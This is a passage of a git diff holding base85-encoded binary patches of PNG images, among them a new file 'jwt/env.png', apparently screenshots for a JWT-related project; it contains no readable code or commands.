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 MUHx3vIVCg!0FUVFcmMzZ literal 0 HcmV?d00001 diff --git a/jwt/env.png b/jwt/env.png new file mode 100644 index 0000000000000000000000000000000000000000..9c79f7a0f1ba9a0bf72acac9734f7a07ab632373 GIT binary patch literal 138842 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 